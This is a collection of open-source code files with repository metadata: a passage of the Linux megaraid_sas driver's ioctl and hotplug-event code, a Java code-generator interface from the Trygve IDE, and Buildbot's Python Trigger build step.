separately */ memcpy(cmd->frame, ioc->frame.raw, 2 * MEGAMFI_FRAME_SIZE); cmd->frame->hdr.context = cmd->index; cmd->frame->hdr.pad_0 = 0; cmd->frame->hdr.flags &= ~(MFI_FRAME_IEEE | MFI_FRAME_SGL64 | MFI_FRAME_SENSE64); /* * The management interface between applications and the fw uses * MFI frames. E.g, RAID configuration changes, LD property changes * etc are accomplishes through different kinds of MFI frames. The * driver needs to care only about substituting user buffers with * kernel buffers in SGLs. The location of SGL is embedded in the * struct iocpacket itself. */ kern_sge32 = (struct megasas_sge32 *) ((unsigned long)cmd->frame + ioc->sgl_off); /* * For each user buffer, create a mirror buffer and copy in */ for (i = 0; i < ioc->sge_count; i++) { if (!ioc->sgl[i].iov_len) continue; kbuff_arr[i] = dma_alloc_coherent(&instance->pdev->dev, ioc->sgl[i].iov_len, &buf_handle, GFP_KERNEL); if (!kbuff_arr[i]) { printk(KERN_DEBUG "megasas: Failed to alloc " "kernel SGL buffer for IOCTL \n"); error = -ENOMEM; goto out; } /* * We don't change the dma_coherent_mask, so * pci_alloc_consistent only returns 32bit addresses */ kern_sge32[i].phys_addr = (u32) buf_handle; kern_sge32[i].length = ioc->sgl[i].iov_len; /* * We created a kernel buffer corresponding to the * user buffer. Now copy in from the user buffer */ if (copy_from_user(kbuff_arr[i], ioc->sgl[i].iov_base, (u32) (ioc->sgl[i].iov_len))) { error = -EFAULT; goto out; } } if (ioc->sense_len) { sense = dma_alloc_coherent(&instance->pdev->dev, ioc->sense_len, &sense_handle, GFP_KERNEL); if (!sense) { error = -ENOMEM; goto out; } sense_ptr = (unsigned long *) ((unsigned long)cmd->frame + ioc->sense_off); *sense_ptr = sense_handle; } /* * Set the sync_cmd flag so that the ISR knows not to complete this * cmd to the SCSI mid-layer */ cmd->sync_cmd = 1; megasas_issue_blocked_cmd(instance, cmd); cmd->sync_cmd = 0; /* * copy out the kernel buffers to user buffers */ for (i = 0; i < ioc->sge_count; i++) { if (copy_to_user(ioc->sgl[i].iov_base, kbuff_arr[i], ioc->sgl[i].iov_len)) { error = -EFAULT; goto out; } } /* * copy out the sense */ if (ioc->sense_len) { /* * sense_ptr points to the location that has the user * sense buffer address */ sense_ptr = (unsigned long *) ((unsigned long)ioc->frame.raw + ioc->sense_off); if (copy_to_user((void __user *)((unsigned long)(*sense_ptr)), sense, ioc->sense_len)) { printk(KERN_ERR "megasas: Failed to copy out to user " "sense data\n"); error = -EFAULT; goto out; } } /* * copy the status codes returned by the fw */ if (copy_to_user(&user_ioc->frame.hdr.cmd_status, &cmd->frame->hdr.cmd_status, sizeof(u8))) { printk(KERN_DEBUG "megasas: Error copying out cmd_status\n"); error = -EFAULT; } out: if (sense) { dma_free_coherent(&instance->pdev->dev, ioc->sense_len, sense, sense_handle); } for (i = 0; i < ioc->sge_count && kbuff_arr[i]; i++) { dma_free_coherent(&instance->pdev->dev, kern_sge32[i].length, kbuff_arr[i], kern_sge32[i].phys_addr); } megasas_return_cmd(instance, cmd); return error; } static int megasas_mgmt_ioctl_fw(struct file *file, unsigned long arg) { struct megasas_iocpacket __user *user_ioc = (struct megasas_iocpacket __user *)arg; struct megasas_iocpacket *ioc; struct megasas_instance *instance; int error; int i; unsigned long flags; u32 wait_time = MEGASAS_RESET_WAIT_TIME; ioc = kmalloc(sizeof(*ioc), GFP_KERNEL); if (!ioc) return -ENOMEM; if (copy_from_user(ioc, user_ioc, sizeof(*ioc))) { error = -EFAULT; goto out_kfree_ioc; } instance = megasas_lookup_instance(ioc->host_no); if (!instance) { error = -ENODEV; goto out_kfree_ioc; } if (instance->adprecovery == MEGASAS_HW_CRITICAL_ERROR) { printk(KERN_ERR "Controller in crit error\n"); error = -ENODEV; goto out_kfree_ioc; } if (instance->unload == 1) { error = -ENODEV; goto out_kfree_ioc; } /* * We will allow only MEGASAS_INT_CMDS number of parallel ioctl cmds */ if (down_interruptible(&instance->ioctl_sem)) { error = -ERESTARTSYS; goto out_kfree_ioc; } for (i = 0; i < wait_time; i++) { spin_lock_irqsave(&instance->hba_lock, flags); if (instance->adprecovery == MEGASAS_HBA_OPERATIONAL) { spin_unlock_irqrestore(&instance->hba_lock, flags); break; } spin_unlock_irqrestore(&instance->hba_lock, flags); if (!(i % MEGASAS_RESET_NOTICE_INTERVAL)) { printk(KERN_NOTICE "megasas: waiting" "for controller reset to finish\n"); } msleep(1000); } spin_lock_irqsave(&instance->hba_lock, flags); if (instance->adprecovery != MEGASAS_HBA_OPERATIONAL) { spin_unlock_irqrestore(&instance->hba_lock, flags); printk(KERN_ERR "megaraid_sas: timed out while" "waiting for HBA to recover\n"); error = -ENODEV; goto out_kfree_ioc; } spin_unlock_irqrestore(&instance->hba_lock, flags); error = megasas_mgmt_fw_ioctl(instance, user_ioc, ioc); up(&instance->ioctl_sem); out_kfree_ioc: kfree(ioc); return error; } static int megasas_mgmt_ioctl_aen(struct file *file, unsigned long arg) { struct megasas_instance *instance; struct megasas_aen aen; int error; int i; unsigned long flags; u32 wait_time = MEGASAS_RESET_WAIT_TIME; if (file->private_data != file) { printk(KERN_DEBUG "megasas: fasync_helper was not " "called first\n"); return -EINVAL; } if (copy_from_user(&aen, (void __user *)arg, sizeof(aen))) return -EFAULT; instance = megasas_lookup_instance(aen.host_no); if (!instance) return -ENODEV; if (instance->adprecovery == MEGASAS_HW_CRITICAL_ERROR) { return -ENODEV; } if (instance->unload == 1) { return -ENODEV; } for (i = 0; i < wait_time; i++) { spin_lock_irqsave(&instance->hba_lock, flags); if (instance->adprecovery == MEGASAS_HBA_OPERATIONAL) { spin_unlock_irqrestore(&instance->hba_lock, flags); break; } spin_unlock_irqrestore(&instance->hba_lock, flags); if (!(i % MEGASAS_RESET_NOTICE_INTERVAL)) { printk(KERN_NOTICE "megasas: waiting for" "controller reset to finish\n"); } msleep(1000); } spin_lock_irqsave(&instance->hba_lock, flags); if (instance->adprecovery != MEGASAS_HBA_OPERATIONAL) { spin_unlock_irqrestore(&instance->hba_lock, flags); printk(KERN_ERR "megaraid_sas: timed out while waiting" "for HBA to recover.\n"); return -ENODEV; } spin_unlock_irqrestore(&instance->hba_lock, flags); mutex_lock(&instance->aen_mutex); error = megasas_register_aen(instance, aen.seq_num, aen.class_locale_word); mutex_unlock(&instance->aen_mutex); return error; } /** * megasas_mgmt_ioctl - char node ioctl entry point */ static long megasas_mgmt_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { switch (cmd) { case MEGASAS_IOC_FIRMWARE: return megasas_mgmt_ioctl_fw(file, arg); case MEGASAS_IOC_GET_AEN: return megasas_mgmt_ioctl_aen(file, arg); } return -ENOTTY; } #ifdef CONFIG_COMPAT static int megasas_mgmt_compat_ioctl_fw(struct file *file, unsigned long arg) { struct compat_megasas_iocpacket __user *cioc = (struct compat_megasas_iocpacket __user *)arg; struct megasas_iocpacket __user *ioc = compat_alloc_user_space(sizeof(struct megasas_iocpacket)); int i; int error = 0; compat_uptr_t ptr; if (clear_user(ioc, sizeof(*ioc))) return -EFAULT; if (copy_in_user(&ioc->host_no, &cioc->host_no, sizeof(u16)) || copy_in_user(&ioc->sgl_off, &cioc->sgl_off, sizeof(u32)) || copy_in_user(&ioc->sense_off, &cioc->sense_off, sizeof(u32)) || copy_in_user(&ioc->sense_len, &cioc->sense_len, sizeof(u32)) || copy_in_user(ioc->frame.raw, cioc->frame.raw, 128) || copy_in_user(&ioc->sge_count, &cioc->sge_count, sizeof(u32))) return -EFAULT; /* * The sense_ptr is used in megasas_mgmt_fw_ioctl only when * sense_len is not null, so prepare the 64bit value under * the same condition. */ if (ioc->sense_len) { void __user **sense_ioc_ptr = (void __user **)(ioc->frame.raw + ioc->sense_off); compat_uptr_t *sense_cioc_ptr = (compat_uptr_t *)(cioc->frame.raw + cioc->sense_off); if (get_user(ptr, sense_cioc_ptr) || put_user(compat_ptr(ptr), sense_ioc_ptr)) return -EFAULT; } for (i = 0; i < MAX_IOCTL_SGE; i++) { if (get_user(ptr, &cioc->sgl[i].iov_base) || put_user(compat_ptr(ptr), &ioc->sgl[i].iov_base) || copy_in_user(&ioc->sgl[i].iov_len, &cioc->sgl[i].iov_len, sizeof(compat_size_t))) return -EFAULT; } error = megasas_mgmt_ioctl_fw(file, (unsigned long)ioc); if (copy_in_user(&cioc->frame.hdr.cmd_status, &ioc->frame.hdr.cmd_status, sizeof(u8))) { printk(KERN_DEBUG "megasas: error copy_in_user cmd_status\n"); return -EFAULT; } return error; } static long megasas_mgmt_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { switch (cmd) { case MEGASAS_IOC_FIRMWARE32: return megasas_mgmt_compat_ioctl_fw(file, arg); case MEGASAS_IOC_GET_AEN: return megasas_mgmt_ioctl_aen(file, arg); } return -ENOTTY; } #endif /* * File operations structure for management interface */ static const struct file_operations megasas_mgmt_fops = { .owner = THIS_MODULE, .open = megasas_mgmt_open, .fasync = megasas_mgmt_fasync, .unlocked_ioctl = megasas_mgmt_ioctl, .poll = megasas_mgmt_poll, #ifdef CONFIG_COMPAT .compat_ioctl = megasas_mgmt_compat_ioctl, #endif }; /* * PCI hotplug support registration structure */ static struct pci_driver megasas_pci_driver = { .name = "megaraid_sas", .id_table = megasas_pci_table, .probe = megasas_probe_one, .remove = __devexit_p(megasas_detach_one), .suspend = megasas_suspend, .resume = megasas_resume, .shutdown = megasas_shutdown, }; /* * Sysfs driver attributes */ static ssize_t megasas_sysfs_show_version(struct device_driver *dd, char *buf) { return snprintf(buf, strlen(MEGASAS_VERSION) + 2, "%s\n", MEGASAS_VERSION); } static DRIVER_ATTR(version, S_IRUGO, megasas_sysfs_show_version, NULL); static ssize_t megasas_sysfs_show_release_date(struct device_driver *dd, char *buf) { return snprintf(buf, strlen(MEGASAS_RELDATE) + 2, "%s\n", MEGASAS_RELDATE); } static DRIVER_ATTR(release_date, S_IRUGO, megasas_sysfs_show_release_date, NULL); static ssize_t megasas_sysfs_show_support_poll_for_event(struct device_driver *dd, char *buf) { return sprintf(buf, "%u\n", support_poll_for_event); } static DRIVER_ATTR(support_poll_for_event, S_IRUGO, megasas_sysfs_show_support_poll_for_event, NULL); static ssize_t megasas_sysfs_show_support_device_change(struct device_driver *dd, char *buf) { return sprintf(buf, "%u\n", support_device_change); } static DRIVER_ATTR(support_device_change, S_IRUGO, megasas_sysfs_show_support_device_change, NULL); static ssize_t megasas_sysfs_show_dbg_lvl(struct device_driver *dd, char *buf) { return sprintf(buf, "%u\n", megasas_dbg_lvl); } static ssize_t megasas_sysfs_set_dbg_lvl(struct device_driver *dd, const char *buf, size_t count) { int retval = count; if(sscanf(buf,"%u",&megasas_dbg_lvl)<1){ printk(KERN_ERR "megasas: could not set dbg_lvl\n"); retval = -EINVAL; } return retval; } static DRIVER_ATTR(dbg_lvl, S_IRUGO|S_IWUSR, megasas_sysfs_show_dbg_lvl, megasas_sysfs_set_dbg_lvl); static void megasas_aen_polling(struct work_struct *work) { struct megasas_aen_event *ev = container_of(work, struct megasas_aen_event, hotplug_work); struct megasas_instance *instance = ev->instance; union megasas_evt_class_locale class_locale; struct Scsi_Host *host; struct scsi_device *sdev1; u16 pd_index = 0; u16 ld_index = 0; int i, j, doscan = 0; u32 seq_num; int error; if (!instance) { printk(KERN_ERR "invalid instance!\n"); kfree(ev); return; } instance->ev = NULL; host = instance->host; if (instance->evt_detail) { switch (instance->evt_detail->code) { case MR_EVT_PD_INSERTED: if (megasas_get_pd_list(instance) == 0) { for (i = 0; i < MEGASAS_MAX_PD_CHANNELS; i++) { for (j = 0; j < MEGASAS_MAX_DEV_PER_CHANNEL; j++) { pd_index = (i * MEGASAS_MAX_DEV_PER_CHANNEL) + j; sdev1 = scsi_device_lookup(host, i, j, 0); if (instance->pd_list[pd_index].driveState == MR_PD_STATE_SYSTEM) { if (!sdev1) { scsi_add_device(host, i, j, 0); } if (sdev1) scsi_device_put(sdev1); } } } } doscan = 0; break; case MR_EVT_PD_REMOVED: if (megasas_get_pd_list(instance) == 0) { for (i = 0; i < MEGASAS_MAX_PD_CHANNELS; i++) { for (j = 0; j < MEGASAS_MAX_DEV_PER_CHANNEL; j++) { pd_index = (i * MEGASAS_MAX_DEV_PER_CHANNEL) + j; sdev1 = scsi_device_lookup(host, i, j, 0); if (instance->pd_list[pd_index].driveState == MR_PD_STATE_SYSTEM) { if (sdev1) { scsi_device_put(sdev1); } } else { if (sdev1) { scsi_remove_device(sdev1); scsi_device_put(sdev1); } } } } } doscan = 0; break; case MR_EVT_LD_OFFLINE: case MR_EVT_CFG_CLEARED: case MR_EVT_LD_DELETED: megasas_get_ld_list(instance); for (i = 0; i < MEGASAS_MAX_LD_CHANNELS; i++) { for (j = 0; j < MEGASAS_MAX_DEV_PER_CHANNEL; j++) { ld_index = (i * MEGASAS_MAX_DEV_PER_CHANNEL) + j; sdev1 = scsi_device_lookup(host, i + MEGASAS_MAX_LD_CHANNELS, j, 0); if (instance->ld_ids[ld_index] != 0xff) { if (sdev1) { scsi_device_put(sdev1); } } else { if (sdev1) { scsi_remove_device(sdev1); scsi_device_put(sdev1); } } } } doscan = 0; break; case MR_EVT_LD_CREATED: megasas_get_ld_list(instance); for (i = 0; i < MEGASAS_MAX_LD_CHANNELS; i++) { for (j = 0; j < MEGASAS_MAX_DEV_PER_CHANNEL; j++) { ld_index = (i * MEGASAS_MAX_DEV_PER_CHANNEL) + j; sdev1 = scsi_device_lookup(host, i+MEGASAS_MAX_LD_CHANNELS, j, 0); if (instance->ld_ids[ld_index] != 0xff) { if (!sdev1) { scsi_add_device(host, i + 2, j, 0); } } if (sdev1) { scsi_device_put(sdev1); } } } doscan = 0; break; case MR_EVT_CTRL_HOST_BUS_SCAN_REQUESTED: case MR_EVT_FOREIGN_CFG_IMPORTED: case MR_EVT_LD_STATE_CHANGE: doscan = 1; break; default: doscan = 0; break; } } else { printk(KERN_ERR "invalid evt_detail!\n"); kfree(ev); return; } if (doscan) { printk(KERN_INFO "scanning ...\n"); megasas_get_pd_list(instance); for (i = 0; i < MEGASAS_MAX_PD_CHANNELS; i++) { for (j = 0; j < MEGASAS_MAX_DEV_PER_CHANNEL; j++) { pd_index = i*MEGASAS_MAX_DEV_PER_CHANNEL + j; sdev1 = scsi_device_lookup(host, i, j, 0); if (instance->pd_list[pd_index].driveState == MR_PD_STATE_SYSTEM) { if (!sdev1) { scsi_add_device(host, i, j, 0); } if (sdev1) scsi_device_put(sdev1); } else { if (sdev1) { scsi_remove_device(sdev1); scsi_device_put(sdev1); } } } } megasas_get_ld_list(instance); for (i = 0; i < MEGASAS_MAX_LD_CHANNELS; i++) { for (j = 0; j < MEGASAS_MAX_DEV_PER_CHANNEL; j++) { ld_index = (i * MEGASAS_MAX_DEV_PER_CHANNEL) + j; sdev1 = scsi_device_lookup(host, i+MEGASAS_MAX_LD_CHANNELS, j, 0); if (instance->ld_ids[ld_index] != 0xff) { if (!sdev1) { scsi_add_device(host, i+2, j, 0); } else { scsi_device_put(sdev1); } } else { if (sdev1) { scsi_remove_device(sdev1); scsi_device_put(sdev1); } } } } } if ( instance->aen_cmd != NULL ) { kfree(ev); return ; } seq_num = instance->evt_detail->seq_num + 1; /* Register AEN with FW for latest sequence number plus 1 */ class_locale.members.reserved = 0; class_locale.members.locale = MR_EVT_LOCALE_ALL; class_locale.members.class = MR_EVT_CLASS_DEBUG; mutex_lock(&instance->aen_mutex); error = megasas_register_aen(instance, seq_num, class_locale.word); mutex_unlock(&instance->aen_mutex); if (error) printk(KERN_ERR "register aen failed error %x\n", error); kfree(ev); } /** * megasas_init - Driver load entry point */ static int __init megasas_init(void) { int rval; /* * Announce driver version and other information */ printk(KERN_INFO "megasas: %s %s\n", MEGASAS_VERSION, MEGASAS_EXT_VERSION); spin_lock_init(&poll_aen_lock); support_poll_for_event = 2; support_device_change = 1; memset(&megasas_mgmt_info, 0, sizeof(megasas_mgmt_info)); /* * Register character device node */ rval = register_chrdev(0, "megaraid_sas_ioctl", &megasas_mgmt_fops); if (rval < 0) { printk(KERN_DEBUG "megasas: failed to open device node\n"); return rval; } megasas_mgmt_majorno = rval; /* * Register ourselves as PCI hotplug module */ rval = pci_register_driver(&megasas_pci_driver); if (rval) { printk(KERN_DEBUG "megasas: PCI hotplug regisration failed \n"); goto err_pcidrv; } rval = driver_create_file(&megasas_pci_driver.driver, &driver_attr_version); if (rval) goto err_dcf_attr_ver; rval = driver_create_file(&megasas_pci_driver.driver, &driver_attr_release_date); if (rval) goto err_dcf_rel_date; rval = driver_create_file(&megasas_pci_driver.driver, &driver_attr_support_poll_for_event); if (rval) goto err_dcf_support_poll_for_event; rval = driver_create_file(&megasas_pci_driver.driver, &driver_attr_dbg_lvl); if (rval) goto err_dcf_dbg_lvl; rval = driver_create_file(&megasas_pci_driver.driver, &driver_attr_support_device_change); if (rval) goto err_dcf_support_device_change; return rval; err_dcf_support_device_change: driver_remove_file(&megasas_pci_driver.driver, &driver_attr_dbg_lvl); err_dcf_dbg_lvl: driver_remove_file(&megasas_pci_driver.driver, &driver_attr_support_poll_for_event); err_dcf_support_poll_for_event: driver_remove_file(&megasas_pci_driver.driver, &driver_attr_release_date); err_dcf_rel_date: driver_remove_file(&megasas_pci_driver.driver, &driver_attr_version); err_dcf_attr_ver: pci_unregister_driver(&megasas_pci_driver); err_pcidrv: unregister_chrdev(megasas_mgmt_majorno, "megaraid_sas_ioctl"); return rval; } /** * megasas_exit - Driver unload entry point */ static void __exit megasas_exit(void) { driver_remove_file(&megasas_pci_driver.driver, &driver_attr_dbg_lvl); driver_remove_file(&megasas_pci_driver.driver, &driver_attr_support_poll_for_event); driver_remove_file(&megasas_pci_driver.driver, &driver_attr_support_device_change); driver_remove_file(&megasas_pci_driver.driver, &driver_attr_release_date); driver_remove_file(&megasas_pci_driver.driver, &driver_attr_version); pci_unregister_driver(&megasas_pci_driver); unregister_chrdev(megasas_mgmt_majorno, "megaraid_sas_ioctl"); } module_init(megasas_init); module_exit(megasas_exit);
Rover-Yu/ali_kernel
drivers/scsi/megaraid/megaraid_sas_base.c
C
gpl-2.0
145,761
package info.fulloo.trygve.code_generation; /* * Trygve IDE 2.0 * Copyright (c)2016 James O. Coplien, jcoplien@gmail.com * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * * For further information about the trygve project, please contact * Jim Coplien at jcoplien@gmail.com */ import java.util.List; import info.fulloo.trygve.declarations.Declaration.MethodDeclaration; import info.fulloo.trygve.expressions.Constant; import info.fulloo.trygve.expressions.Expression.*; import info.fulloo.trygve.run_time.RTCode; import info.fulloo.trygve.run_time.RTExpression; import info.fulloo.trygve.run_time.RTType; import info.fulloo.trygve.run_time.RunTimeEnvironment; import info.fulloo.trygve.semantic_analysis.StaticScope; public interface CodeGenerator { public void compile(); public List<RTCode> compileQualifiedClassMemberExpression(QualifiedClassMemberExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileQualifiedClassMemberExpressionUnaryOp(QualifiedClassMemberExpressionUnaryOp expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileQualifiedIdentifierExpression(QualifiedIdentifierExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileQualifiedIdentifierExpressionUnaryOp(QualifiedIdentifierExpressionUnaryOp expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileMessageExpression(MessageExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileDupMessageExpression(DupMessageExpression expr, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileIdentifierExpression(IdentifierExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileRelopExpression(RelopExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileIdentityBooleanExpression(IdentityBooleanExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileBooleanExpression(BooleanExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileBinopExpression(BinopExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileUnaryopExpressionWithSideEffect(UnaryopExpressionWithSideEffect expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileUnaryAbelianopExpression(UnaryAbelianopExpression expr, String operation, StaticScope scope, RTType rtTypeDeclaration); public List<RTCode> compileAssignmentExpression(AssignmentExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileInternalAssignmentExpression(InternalAssignmentExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileDoubleCasterExpression(DoubleCasterExpression expr, RTType rtTypeDeclaration); public List<RTCode> compileNewExpression(NewExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileNewArrayExpression(NewArrayExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileIfExpression(IfExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileForExpression(ForExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileForIterationExpression(ForExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileWhileExpression(WhileExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileDoWhileExpression(DoWhileExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileSwitchExpression(SwitchExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileBreakExpression(BreakExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileContinueExpression(ContinueExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileExpressionList(ExpressionList expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileSumExpression(SumExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileProductExpression(ProductExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compilePowerExpression(PowerExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileReturnExpression(ReturnExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileBlockExpression(BlockExpression expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileConstant(Constant expr, MethodDeclaration methodDeclaration, RTType rtTypeDeclaration, StaticScope scope); public List<RTCode> compileArrayExpression(ArrayExpression expr, StaticScope scope); public List<RTCode> compileArrayIndexExpression(ArrayIndexExpression expr, StaticScope scope, RTType rtTypeDeclaration); public List<RTCode> compileArrayIndexExpressionUnaryOp(ArrayIndexExpressionUnaryOp expr, StaticScope scope, RTType rtTypeDeclaration); public List<RTCode> compileRoleArrayIndexExpression(RoleArrayIndexExpression expr, RTType nearestEnclosingType, StaticScope scope); public List<RTCode> compilePromoteToDoubleExpression(PromoteToDoubleExpr expr, StaticScope scope, RTType t); public List<RTCode> compileIndexExpression(IndexExpression indexExpression); public List<RTCode> compileLastIndexExpression(LastIndexExpression indexExpression); public RunTimeEnvironment virtualMachine(); public RTExpression mainExpr(); }
egonelbre/trygve
src/main/java/info/fulloo/trygve/code_generation/CodeGenerator.java
Java
gpl-2.0
7,395
# This file is part of Buildbot. Buildbot is free software: you can # redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation, version 2. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 51 # Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # Copyright Buildbot Team Members from buildbot import config from buildbot.interfaces import ITriggerableScheduler from buildbot.process.buildstep import EXCEPTION from buildbot.process.buildstep import FAILURE from buildbot.process.buildstep import LoggingBuildStep from buildbot.process.buildstep import SUCCESS from buildbot.process.properties import Properties from buildbot.process.properties import Property from twisted.internet import defer from twisted.python import log class Trigger(LoggingBuildStep): name = "trigger" renderables = ['set_properties', 'schedulerNames', 'sourceStamps', 'updateSourceStamp', 'alwaysUseLatest'] flunkOnFailure = True def __init__(self, schedulerNames=[], sourceStamp=None, sourceStamps=None, updateSourceStamp=None, alwaysUseLatest=False, waitForFinish=False, set_properties={}, copy_properties=[], **kwargs): if not schedulerNames: config.error( "You must specify a scheduler to trigger") if (sourceStamp or sourceStamps) and (updateSourceStamp is not None): config.error( "You can't specify both sourceStamps and updateSourceStamp") if (sourceStamp or sourceStamps) and alwaysUseLatest: config.error( "You can't specify both sourceStamps and alwaysUseLatest") if alwaysUseLatest and (updateSourceStamp is not None): config.error( "You can't specify both alwaysUseLatest and updateSourceStamp" ) self.schedulerNames = schedulerNames self.sourceStamps = sourceStamps or [] if sourceStamp: self.sourceStamps.append(sourceStamp) if updateSourceStamp is not None: self.updateSourceStamp = updateSourceStamp else: self.updateSourceStamp = not (alwaysUseLatest or self.sourceStamps) self.alwaysUseLatest = alwaysUseLatest self.waitForFinish = waitForFinish properties = {} properties.update(set_properties) for i in copy_properties: properties[i] = Property(i) self.set_properties = properties self.running = False self.ended = False LoggingBuildStep.__init__(self, **kwargs) def interrupt(self, reason): if self.running and not self.ended: self.step_status.setText(["interrupted"]) return self.end(EXCEPTION) def end(self, result): if not self.ended: self.ended = True return self.finished(result) # Create the properties that are used for the trigger def createTriggerProperties(self): # make a new properties object from a dict rendered by the old # properties object trigger_properties = Properties() trigger_properties.update(self.set_properties, "Trigger") return trigger_properties # Get all scheduler instances that were configured # A tuple of (triggerables, invalidnames) is returned def getSchedulers(self): all_schedulers = self.build.builder.botmaster.parent.allSchedulers() all_schedulers = dict([(sch.name, sch) for sch in all_schedulers]) invalid_schedulers = [] triggered_schedulers = [] # don't fire any schedulers if we discover an unknown one for scheduler in self.schedulerNames: scheduler = scheduler if scheduler in all_schedulers: sch = all_schedulers[scheduler] if ITriggerableScheduler.providedBy(sch): triggered_schedulers.append(sch) else: invalid_schedulers.append(scheduler) else: invalid_schedulers.append(scheduler) return (triggered_schedulers, invalid_schedulers) def prepareSourcestampListForTrigger(self): if self.sourceStamps: ss_for_trigger = {} for ss in self.sourceStamps: codebase = ss.get('codebase', '') assert codebase not in ss_for_trigger, "codebase specified multiple times" ss_for_trigger[codebase] = ss return ss_for_trigger if self.alwaysUseLatest: return {} # start with the sourcestamps from current build ss_for_trigger = {} objs_from_build = self.build.getAllSourceStamps() for ss in objs_from_build: ss_for_trigger[ss.codebase] = ss.asDict() # overrule revision in sourcestamps with got revision if self.updateSourceStamp: got = self.build.build_status.getAllGotRevisions() for codebase in ss_for_trigger: if codebase in got: ss_for_trigger[codebase]['revision'] = got[codebase] return ss_for_trigger @defer.inlineCallbacks def start(self): # Get all triggerable schedulers and check if there are invalid schedules (triggered_schedulers, invalid_schedulers) = self.getSchedulers() if invalid_schedulers: self.step_status.setText(['not valid scheduler:'] + invalid_schedulers) self.end(FAILURE) return self.running = True props_to_set = self.createTriggerProperties() ss_for_trigger = self.prepareSourcestampListForTrigger() dl = [] triggered_names = [] for sch in triggered_schedulers: dl.append(sch.trigger(ss_for_trigger, set_props=props_to_set)) triggered_names.append(sch.name) self.step_status.setText(['triggered'] + triggered_names) if self.waitForFinish: rclist = yield defer.DeferredList(dl, consumeErrors=1) if self.ended: return else: # do something to handle errors for d in dl: d.addErrback(log.err, '(ignored) while invoking Triggerable schedulers:') rclist = None self.end(SUCCESS) return was_exception = was_failure = False brids = {} for was_cb, results in rclist: if isinstance(results, tuple): results, some_brids = results brids.update(some_brids) if not was_cb: was_exception = True log.err(results) continue if results == FAILURE: was_failure = True if was_exception: result = EXCEPTION elif was_failure: result = FAILURE else: result = SUCCESS if brids: master = self.build.builder.botmaster.parent def add_links(res): # reverse the dictionary lookup for brid to builder name brid_to_bn = dict((_brid, _bn) for _bn, _brid in brids.iteritems()) for was_cb, builddicts in res: if was_cb: for build in builddicts: bn = brid_to_bn[build['brid']] num = build['number'] url = master.status.getURLForBuild(bn, num) self.step_status.addURL("%s #%d" % (bn, num), url) return self.end(result) builddicts = [master.db.builds.getBuildsForRequest(br) for br in brids.values()] dl = defer.DeferredList(builddicts, consumeErrors=1) dl.addCallback(add_links) self.end(result) return
jollyroger/debian-buildbot
buildbot/steps/trigger.py
Python
gpl-2.0
8,290
